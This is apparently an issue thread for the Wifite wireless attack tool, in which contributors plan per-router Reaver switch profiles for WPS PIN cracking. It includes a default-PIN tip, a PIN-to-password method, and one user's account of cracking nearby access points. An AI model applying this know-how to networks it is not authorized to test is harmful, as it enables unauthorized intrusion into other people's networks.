Feature Request: Use specialized switches in Reaver based on Access Point attributes (BSSID/ESSID)

[peterpt]

Allow user to store a database of commands for specific access points names where wifite will search before starting the wps cracking of some access point , wifite will consult the database to check if the first letters of that access point are in database and in case exists then will use the user setup instead the automatic setup .

example : Access point : ABCD-0000

Wifite will access its database to checkif ABCD exists , in case exists then will run the user pre configured settings , instead the default settings . In case ABCD does not exist then wifite will automatically run its default cracking settings .

I say this would be a good option because some Access points i get , i have to use special switches in reaver to be able to crack the wps , while other APS i can use the normal brute-force switches without issues .

Not even mention the fact of most APS these days have protections against brute force , where to be able to deal with that is needed a delay between pin attempts .

[derv82]

Part of your request sounds like a perfect fit for Wifite.

Wifite is intended to be a "Big Red Button" for attacking wireless networks. It's purpose is to remember all those reaver switches so you don't have to.

@peterpt If you can provide me with the "Access point" signatures (are those ESSIDs or BSSIDs?) and the special reaver switches needed for those access points, I can hard-code that into Wifite.

Regarding the order-of-attacks, I'd like to Wifite to attack targets based on a better sorting heuristic (currently it's based on Power reported by airodump-ng).

Ideally Wifite would attack the closest routers that are likely vulnerable to attacks:

1. WEP first obviously,
2. Then WPS -- use Pixie-Dust (the switches would be used here)
3. Then WPA on networks with clients associated.
4. Then everything else.

[peterpt]

I can only provide you the switches i used for APS ESSIDS that i already cracked , but in the planet there are multiples ISPS with other ESSIDS that i dont have access to test them obviously because i am not near them . This option would be a collaborated task with every user that uses wifite , my only doubt is if they will collaborate in this project . Anyway , i have to test these aps right here again because i already cracked all of them 2 years ago and i don't remember the switches i used in that time .

I believe that to do the job right , then not only wifite will check essids db for switches , but also in case does not exist then it would be perfect to have a 2nd database with brands mac address and default switches .

Example : 1 - if it finds in DB the AP name : ABCD- (then run those switches) 2 - case it did not worked (could be a new firmware on AP) then check 2nd DB for brand mac address and run the switches for that brand . 3 - case it does not work then use default settings .

I say this because you can find a tplink AP with a different ESSID , instead TP_Link_xxxxxx , it could be (MYacesspoint) as ESSID , on these cases wifite will check 2nd database for brand mac entry that identify witch router is behind that ESSID and will run the switches for that brand if they exist in DB .

Let me know if you understood my point .

[derv82]

This could be as a very useful feature. For example, Wifite could prioritize certain WEP attacks on known-vulnerable routers (e.g. if all NETGEAR routers are susceptible to the fragmention WEP attack).

Off the top of my head, the "DB" could be a map of ESSID_REGEX and/or VENDOR MAC stored in Wifite:

target_attack_heuristics = [{
  essid_regex: /[A-F0-9]{4}-.*/,
  vendor_mac: '00:04:AC',
  attack_type: 'WPS',
  command_switches: ['-s', '3', '--something-else', 'K']
}]

Where essid_regex or vendor_mac (or both) can be defined. For each heuristic that matches the target, Wifite could alter the command switches as defined by the command_switches value, and prioritize those attacks over others.

I'm not sure how to get more people to freely provide this information. And I'd need at least one example before I would code anything for this.

[peterpt]

I am been very busy lately , however , as soon as i get some time here free i will look into the APS around here and i will user reaver to get the wps . I will post the switches i will use for the attack and the first letters from the AP name (ISP) , as also the router brand , if i get on multiples APs from the same ISP different switches , it means that or the firmware was upgraded from that AP , or the ISP have a different router model . I also notice that the most difficult APS (That do not allow bruteforce) have a generic basic WPS pin 01234567 by default unchanged . Some things that you should keep in mind , sometimes a 54dbi signal gives more issues than 67bdi AP . Most of the times it is because 1 router is more closer but have trees in the path , while the other is more far but without obstacles , on my tests , i can get the WPS from the router that is more far than the router that is more closer , also the weather have a lot of influence when i am hacking the aPS wps . A reply from the wps request must get to reaver no matter what , if that reply from the AP does not get even if the router is closer then it is a waste of time working on it . I will be in touch with you on here soon with some switches .

[peterpt]

Ok , i am working now on this feature , one thing that should look into is when reaver is only able to get the pin but not the wps , it happens a lot of times . When that happens the best way to get the wifi password from the pin is using this method with wpa supplicant : https://www.youtube.com/watch?v=XVnxamLo-b4

In mean while i should post here some switches used for some aps , its brand and if the ap webgui password was not changed then i will also post the firmware version of it .

[derv82]

one thing that should look into is when reaver is only able to get the pin but not the wps , it happens a lot of times

Created #76 to track this separately.